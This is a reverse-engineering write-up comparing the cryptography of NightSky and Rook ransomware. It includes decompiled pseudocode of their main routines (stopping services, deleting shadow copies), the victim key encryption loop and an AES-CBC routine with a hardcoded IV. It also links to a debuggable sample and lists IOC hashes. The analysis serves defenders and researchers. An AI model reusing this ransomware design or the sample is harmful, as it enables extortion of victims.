

NightSky Ransomware – just a Rook RW fork in VMProtect suit

github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware-just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware-just_a_Rook_RW_fork_in_VMProtect_suit.md

Dump-GUY

Dump-GUY/Malware-analysis-and-Reverse-...



Some of my publicly available Malware analysis and Reverse engineering.

1

Contributor

0

Issues

410

Stars

80

Forks




The main subject of this analysis is to explain Cryptographic functions used in NightSky and Rook ransomwares and compare their similarities and differences. This is not just some kind of show-off report but the main purpose of this, is to share some knowledge, ideas, work-flow and problems which could occur during this kind of research.

Before we jump in, both of these ransomwares are using the same version of statically linked OpenSource library Mbed TLS (2.23.0 – 2.24.0) to implement Crypto functions. Because of minor changes in Mbed TLS between versions 2.23.0 and 2.24.0 (ransomware code is not affected by these changes), there is no way to specify which one of these version was used, but more important is that both ransomwares are using the same version of Mbed TLS.

Finding out the exact version was a pitty work, involving compilation of different version of Mbed TLS (last 20 versions) with exact same version of Visual Studio (2015) and same version of compiler tools (19.00.24245 – obtained from Rook RW). Because of shredded Rich Header in NightSky ransomware

(caused by used VMProtect), we can only presume that both of these RW were built with compiler tools 19.00.????? probably Visual Studio 2015 but not necessary. In the Rook case, we also know the exact version of compiler tools (19.00.24245) – Rich Header presented.



Real hard work started with many attempts to find the correct C/C++ compiler and linker configuration which was used in both of these ransomwares (involving reversing of Mbed TLS functions in ransomwares and produced .dll and .obj (in .lib file) files). Fortunately, and not surprising, the best configuration was the same for both of these ransomwares. Built .lib files served for generating FLIRT signatures and .dll files with pdb symbols were used for fuzzy matching with Rizzo signatures, fingermatch signatures, diaphora... Big differences between matched functions, using different versions of Mbed TLS, let to exact version of Mbed TLS (2.23.0 – 2.24.0) which was used in both cases. These facts could be just an interesting coincidence but after I introduce the code similarity it will be obvious that NightSky Ransomware is just a fork of Rook and there is possibility that same TA is behind the creation of these Ransomwares. (another possibility is leaked src code etc..).

NightSky RW vs Rook RW brief crypto summary

Night Sky Ransomware	Rook Ransomware
█c	█c
Built with VS 20?? 19.00.?????	Built with VS 2015 19.00.24245
Packed with VMProtect	Not Packed
Using statically linked MBED TLS (2.23-4)	Using statically linked MBED TLS (2.23-4)
TAs embedded RSA2048 public key in PEM	TAs embedded RSA2048 public key in PEM
Generates Victim RSA2048 priv+pub key	Generates Victim RSA2048 priv+pub key
MaxSize encrypted (3*(blocksize=524288))	MaxSize encrypted (3*(blocksize=524288))
Using AES128CBC to encrypt file	Using AES128ECB (intermittent encryption 16/32)
AESKey generated with MBEDTLS prng	AESKey generated with MBEDTLS prng
IV hardcoded (04030201040302010403020104030201)	---
AESKey encrypted with Victim RSA2048pub	AESKey encrypted with Victim RSA2048pub
Victim privKEY encrypted with TAs pubKEY	Victim privKEY encrypted with TAs pubKEY
For-each file uniquely generated AES key	For-each file uniquely generated AES key

Let's do some reversing

After this brief introduction we can jump to the main function of these ransomwares. We can see main function of Rook and NighSky RW in the picture below. NightSky omitted some functionality of Rook (processing cmdline arguments, debug mode...) and some were just moved to different functions but code similarity related to multi-threading and synchronization remains.

Rook RW - start of Main function

```

57 hHeap = GetProcessHeap();
58 setPRNG_generate_VictimRSAKeys_encryptVictimPrivateKEY();
59 above_2A25();
60 pNumArgs = 0;
61 Command_Line = GetCommand_Line();
62 v4 = Command_LineToArgv(Command_Line, &pNumArgs);
63 v55 = v4;
64 SetProcessShutdownParameters(0, 0);
65 v56 = sub_14001700(pNumArgs, L"debug");
66 v6 = (const wchar_t *)v5;
67 if (v5)
68 {
69     dword_14005481B = (int)v5;
70     InitializeCriticalSection(&criticalSection);
71     Mutex = CreateMutex(0, 0, 0, 0, 0, 0, 0);
72     dword_140055008 = 1;
73 }
74 stop_services();
75 stop_processes();
76 delete_shadowCopies();
77 SHEmptyRecycleBin(0x100, 0x100, 70);
78 GetSystemInfo(&systemInfo);
79 v7 = (4 * SystemInfo.dwNumberProcessors) >> 1;
80 v8 = 24 * SystemInfo.dwNumberProcessors;
81 nCount = (4 * SystemInfo.dwNumberProcessors) >> 1;
82 dword_140053308 = 24 * SystemInfo.dwNumberProcessors;
83 do
84     v9 = HeapAlloc(hHeap, 8u, 8164 * v8 + 64);
85 while (v9);
86 dword_14005330B = (int)v9;
87 hSemaphore = CreateSemaphore(0, 0, 0, v8, 0);
88 dword_14005330C = 0;
89 dword_14005330E = hSemaphore;
90 InitializeCriticalSection(&stru_14005330B);
91 v11 = 3 * v7;
92 dword_140053428 = 3 * v7;
93 v12 = HeapAlloc(hHeap, 8u, 8164 * v11 + 64);
94 while (v12);
95 dword_140053430 = (int)v12;
96 hHandle = CreateSemaphore(0, 0, 0, v11, 0);
97 v13 = CreateSemaphore(0, 0, 0, v11, 0);
98 dword_140053438 = 0;
99 dword_1400533F8 = v13;
100
00002E02: main$B (140003A02) (Synchronized with IDA View-A)
    
```

NighSky RW - start of Main Function - some functionality was omitted (processing cmdline arguments, run in debug mode etc.) and some was moved from Main func to different funcs - you can still see the code similarity

```

hHeap = GetProcessHeap();
setPRNG_generate_VictimRSAKeys_encryptVictimPrivateKEY();
SetProcessShutdownParameters(0, 0);
SHEmptyRecycleBin(0, 0x100, 0x100, 70);
GetSystemInfo(&SystemInfo);
encryption_thread_count = (4 * SystemInfo.dwNumberProcessors) >> 1;
v4 = 24 * SystemInfo.dwNumberProcessors;
dword_7FF638BF6278 = 24 * SystemInfo.dwNumberProcessors;
do
    Heap = RtlAllocateHeap(hHeap, 8u, 8164 * v4 + 64);
while (Heap);
qword_7FF638BF6208 = (int)v4;
hSemaphore1 = CreateSemaphore(0, 0, 0, v4, 0);
hSemaphore2 = CreateSemaphore(0, 0, 0, v4, 0);
qword_7FF638BF6208 = 0;
RtlInitializeCriticalSection(&criticalSection);
v6 = 3 * encryption_thread_count;
dword_7FF638BF6208 = 3 * encryption_thread_count;
do
    v7 = RtlAllocateHeap(hHeap, 8u, 8164 * v6 + 64);
while (v7);
qword_7FF638BF6208 = (int)v7;
hSemaphore3 = CreateSemaphore(0, 0, 0, v6, 0);
hSemaphore4 = CreateSemaphore(0, 0, 0, v6, 0);
qword_7FF638BF6208 = 0;
hSemaphore5 = hSemaphore4;
RtlInitializeCriticalSection(&stru_7FF638BF62A0);
v9 = (unsigned int)encryption_thread_count;
do
    v10 = (HANDLE *)RtlAllocateHeap(hHeap, 8u, 8 * encryption_thread_count + 64);
while (v10);
do
    v11 = (HANDLE *)RtlAllocateHeap(hHeap, 8u, 8 * encryption_thread_count + 64);
while (v11);
v23 = 0;
for (i = 8 * encryption_thread_count; v23 < i; ++v23)
    *((BYTE *)v10 + v23) = 0;
for (j = 0; j < i; ++j)
    *((BYTE *)v11 + j) = 0;
if (v23 < encryption_thread_count)
    v13 = v11;
v14 = (unsigned int)encryption_thread_count;
00002B82: main$D (7FF638BA2382) (Synchronized with IDA View-A, Hex View-1)
    
```

One of the first function in “main” in both of these ransomwares - “setPRNG_generate_VictimRSAKeys_encryptVictimPrivateKEY” is responsible for generating Victim RSA2048 key pair where Victim RSA2048 private KEY is encrypted by TAs embedded RSA2048 public key. The encryption of victim RSA private key is performed in loop of 200 bytes as you can see in the picture below. Again the similarity of code is obvious.

Rook RW - Encrypting Victim RSA2048 Private key with TAs embedded RSA2048 public key - looping 200 bytes

```

91 if (v17 > 0)
92     generate_RSA_key(-----BEGIN PUBLIC KEY-----\n", "-----END PUBLIC KEY-----\n", &v17, v17, &data, &semBee);
93 Length_Victim_RSA_privateKEY = strlen((::Victim_RSA_privateKEY));
94 Victim_RSA_privateKEY_200B_block_count = Length_Victim_RSA_privateKEY / 200;
95 if (Length_Victim_RSA_privateKEY % 200)
96     ++Victim_RSA_privateKEY_200B_block_count;
97 if (Victim_RSA_privateKEY_200B_block_count > 0)
98 {
99     Victim_RSA_privateKEY = ::Victim_RSA_privateKEY;
100     TAsPublic_encrypted_Victim_RSAPrivateKEY = &:TAsPublic_encrypted_Victim_RSAPrivateKEY;
101     Victim_RSA_privateKEY_200B_block_count = Victim_RSA_privateKEY_200B_block_count;
102     do
103     {
104         v23 = *((*TAs_RSA_publicKEY_ctx + 328164));
105         if (v23)
106         {
107             if (v23 == 1)
108                 mbedTLS_rsa_rsas_oaep_encrypt(
109                     *TAs_RSA_publicKEY_ctx,
110                     Wrapped_CTR_DRBG_gen_random,
111                     &v23,
112                     v18,
113                     &data,
114                     &semBee);
115             Victim_RSA_privateKEY,
116             TAsPublic_encrypted_Victim_RSAPrivateKEY;
117         }
118         else
119         {
120             mbedTLS_rsa_rsas_pkcs1_v15_encrypt(
121                 TAs_RSA_publicKEY_ctx,
122                 Wrapped_CTR_DRBG_gen_random,
123                 &v23,
124                 v18,
125                 &data,
126                 &semBee);
127             Victim_RSA_privateKEY,
128             TAsPublic_encrypted_Victim_RSAPrivateKEY;
129         }
130         TAsPublic_encrypted_Victim_RSAPrivateKEY += 256;
131         Victim_RSA_privateKEY += 200;
132         --Victim_RSA_privateKEY_200B_block_count;
133     }
134     while (Victim_RSA_privateKEY_200B_block_count > 0);
135 }
000012E6: setPRNG_generate_or_obtain_VictimRSAKeys_encryptVictimPrivateKEY134 (140001E06)
    
```

NighSky RW - Encrypting Victim RSA2048 Private key with TAs embedded RSA2048 public key - looping 200 bytes

```

do
    v1 = Length_Victim_RSA_privateKEY;
while (v1 < Length_Victim_RSA_privateKEY);
Length_Victim_RSA_privateKEY = Length_Victim_RSA_privateKEY;
Victim_RSA_privateKEY_200B_block_count = Length_Victim_RSA_privateKEY / 200;
if (Length_Victim_RSA_privateKEY % 200)
    ++Victim_RSA_privateKEY_200B_block_count;
Victim_RSA_privateKEY_200B_block_count = Victim_RSA_privateKEY_200B_block_count;
if (Victim_RSA_privateKEY_200B_block_count > 0)
{
    Victim_RSA_privateKEY = ::Victim_RSA_privateKEY;
TAsPublic_encrypted_Victim_RSAPrivateKEY = &:TAsPublic_encrypted_Victim_RSAPrivateKEY;
do
{
    v24 = *((*TAs_RSA_publicKEY_ctx + 328164));
    if (v24)
    {
        if (v24 == 1)
            mbedTLS_rsa_rsas_oaep_encrypt(
                *TAs_RSA_publicKEY_ctx,
                Wrapped_CTR_DRBG_gen_random,
                &v24,
                v18,
                &data,
                &semBee);
    }
    else
    {
        mbedTLS_rsa_rsas_pkcs1_v15_encrypt(
            *TAs_RSA_publicKEY_ctx,
            Wrapped_CTR_DRBG_gen_random,
            &v24,
            v18,
            &data,
            &semBee);
    }
    Victim_RSA_privateKEY,
    TAsPublic_encrypted_Victim_RSAPrivateKEY;
}
TAsPublic_encrypted_Victim_RSAPrivateKEY += 256;
Victim_RSA_privateKEY += 200;
--Victim_RSA_privateKEY_200B_block_count;
while (Victim_RSA_privateKEY_200B_block_count > 0);
00001386: setPRNG_generate_VictimRSAKeys_encryptVictimPrivateKEY120 (7FF638BA1386) (Synchronized with IDA View-A)
    
```

We can move on to function which is start routine of newly spawned threads. This NightSky routine is handled by literally copy-paste code from Rook RW and serves as synchronization which leads to function responsible for file encryption “encrypt_file”.

In “encrypt_file” function code below we can see that both of these ransomwares are using Mbed TLS random module to generate for each file unique 16 bytes random AES key. This AES key is later used but also gets encrypted by previously generated victim RSA2048 public key and saved to structure which will be later part of encrypted file footer.

Usage of the randomly generated AES key is different in NightSky and Rook ransomware. Rook ransomware encryption is a combination of AES128 ECB mode with intermittent encryption -> looping 32 bytes chunks where only first 16 is encrypted. Max encrypted size is 524288*3.

NightSky ransomware encryption is AES128 CBC mode with hardcoded IV where max encrypted size is the same as in Rook case - 524288*3.

Rook RW - encrypt file function -> using AES 128 CBC with information encryption 1024 -> looping 32 bytes chunks - encrypting only first 16 bytes. Maxfilesize to encrypt = 524288*3

NightSky RW - encrypt file function -> using AES 128 CBC with hardcoded IV. Maxfilesize to encrypt = 524288*3

You can see NightSky AES128 CBC mode with hardcoded IV below.

```
void *fastcall wrap_Encrypt_aes_cbc(const unsigned int8 *key, unsigned int8 *buff2encrypt, int buff_length)
{
    __int64 buff2encrypt_length; // rsi
    unsigned __int64 B16block_count; // rdi
    mbedt1s_aes_context mbedt1s_aes_context; // [rsp+30h] [rbp-148h] BYREF
    int IV[4]; // [rsp+150h] [rbp-28h] BYREF


    buff2encrypt_length = buff_length;
    IV[0] = '\x04\x03\x02\x01';
    IV[1] = '\x04\x03\x02\x01';
    IV[2] = '\x04\x03\x02\x01';
    IV[3] = '\x04\x03\x02\x01';
    memset(&mbedt1s_aes_context, 0, sizeof(mbedt1s_aes_context));
    mbedt1s_aes_setkey_enc(&mbedt1s_aes_context, key, 128u);
    if ( buff2encrypt_length )
    {
        B16block_count = ((buff2encrypt_length - 1) >> 4) + 1;
        do
        {
            mbedt1s_aes_crypt_cbc(&mbedt1s_aes_context, MBEDTLS_AES_ENCRYPT, 16ui64, IV, buff2encrypt, buff2encrypt);
            buff2encrypt += 16;
            --B16block_count;
        }
        while ( B16block_count );
    }
    return memset(&mbedt1s_aes_context, 0, sizeof(mbedt1s_aes_context));
}

```


NightSky RW - using AES 128 CBC with hardcoded IV

Our final stage of analysis is comparing of encrypted file structure.

Rook Ransomware encrypted file structure (only something I named Quadpart_presented tag is in addition to NightSky – this tag has no meaning and because of that was probably omitted):



NightSky Ransomware encrypted file structure:



Conclusion:

As we could see, the similarity between Rook and NightSky ransomware looks sometimes like copy-paste of code.

What could be quite tricky thing for analysts is that NightSky is delivered as VMProtected and with combination of statically linked Mbed TLS crypto library it could be let's say "unpleasant".

Some functionality from Rook Ransomware (not part of crypto process) is not presented in code of NightSky. Only one difference in encryption is that NightSky RW replaced intermitten AES-ECB encryption for more secured AES-CBC.

Recommendation:

If possible always try to perform decryption on your own (spoofing public key, grabbing session keys, hooking etc...) to confirm your analytical assumptions.

If you were able to read it to this part, you can also check my steps without correction [[HERE](#)]

Download:

Unpacked, repaired and debuggable sample of NightSky RW is available [[HERE-pass:infected](#)]

Generated FLIRT, Rizzo and Fingermatch signatures for Mbed TLS 2.24.0 [[HERE](#)]

IOCs:

NightSky Ransomware MD5: 9608c8b6c8d80fdc67b99edd3c53d3d2

Rook Ransomware MD5: 6d87be9212a1a0e92e58e1ed94c589f9